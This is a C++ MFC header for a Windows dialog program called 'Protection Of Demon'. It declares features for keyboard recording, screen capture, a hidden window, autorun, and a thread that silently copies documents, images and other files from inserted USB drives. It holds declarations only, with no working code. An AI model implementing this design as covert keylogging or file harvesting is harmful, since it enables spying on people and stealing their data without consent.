// Protection Of DemonDlg.h : 头文件 // #pragma once #include "afxcmn.h" #include "Winuser.h" typedef struct MYSTRUCT { LPVOID lpThis; char szDriver[4]; char szSavePath[MAX_PATH]; }; // CProtectionOfDemonDlg 对话框 class CProtectionOfDemonDlg : public CDialogEx { private: int m_iState; char m_szPrivateFilePath[MAX_PATH]; char m_szKeyboardPath[MAX_PATH]; char m_szScreenCapturePath[MAX_PATH]; char m_szCopyFilePath[MAX_PATH]; DWORD m_dwCountTime; int iState[8]; BOOL m_bHidden; RECT m_rcOldRect; private: BOOL GetPropertyFromPrivateFile(char *lpszPrivateFilePath); BOOL GetCurrentFile(char *lpszSrc, char *lpszDest); BOOL SaveScreenCapture(char *lpszSavePath); public: BOOL OnDeviceChange(UINT nEventType, DWORD dwData); LRESULT OnHotKey(WPARAM wParam,LPARAM lParam); static UINT UDiskCopyThread(LPVOID lpVoid); void SearchAndCopyFile(char *strSrc, char *strDest); void GetFormat(char *strSrc, char *strDest); // 构造 public: CProtectionOfDemonDlg(CWnd* pParent = NULL); // 标准构造函数 // 对话框数据 enum { IDD = IDD_PROTECTIONOFDEMON_DIALOG }; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 // 实现 protected: HICON m_hIcon; // 生成的消息映射函数 virtual BOOL OnInitDialog(); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); DECLARE_MESSAGE_MAP() public: afx_msg void OnFileExit(); afx_msg void OnHelpAbout(); CSliderCtrl m_Time; afx_msg void OnBnClickedCheckKeyboardRecord(); virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam); afx_msg void OnBnClickedButtonKeyboardRecordSavePath(); // afx_msg void OnNMCustomdrawSliderTime(NMHDR *pNMHDR, LRESULT *pResult); afx_msg void OnReleasedcaptureSliderTime(NMHDR *pNMHDR, LRESULT *pResult); afx_msg void OnBnClickedButtonImageRecordSavePath(); afx_msg void OnBnClickedCheckAutorun(); afx_msg void OnBnClickedButtonShutdownTimer(); afx_msg void OnBnClickedButtonFileRecordSavePath(); afx_msg void OnBnClickedCheckCopyFileAllFiles(); afx_msg void OnBnClickedCheckCopyFileExe(); afx_msg void OnBnClickedCheckCopyFileJpgPngBmp(); afx_msg void OnBnClickedCheckCopyFileDocDocx(); afx_msg void OnBnClickedCheckCopyFileXlsXlsx(); afx_msg void OnBnClickedCheckCopyFilePptPptx(); afx_msg void OnBnClickedCheckCopyFileMp3Wav(); afx_msg void OnBnClickedCheckCopyFileMp4AviRmvbMkv(); };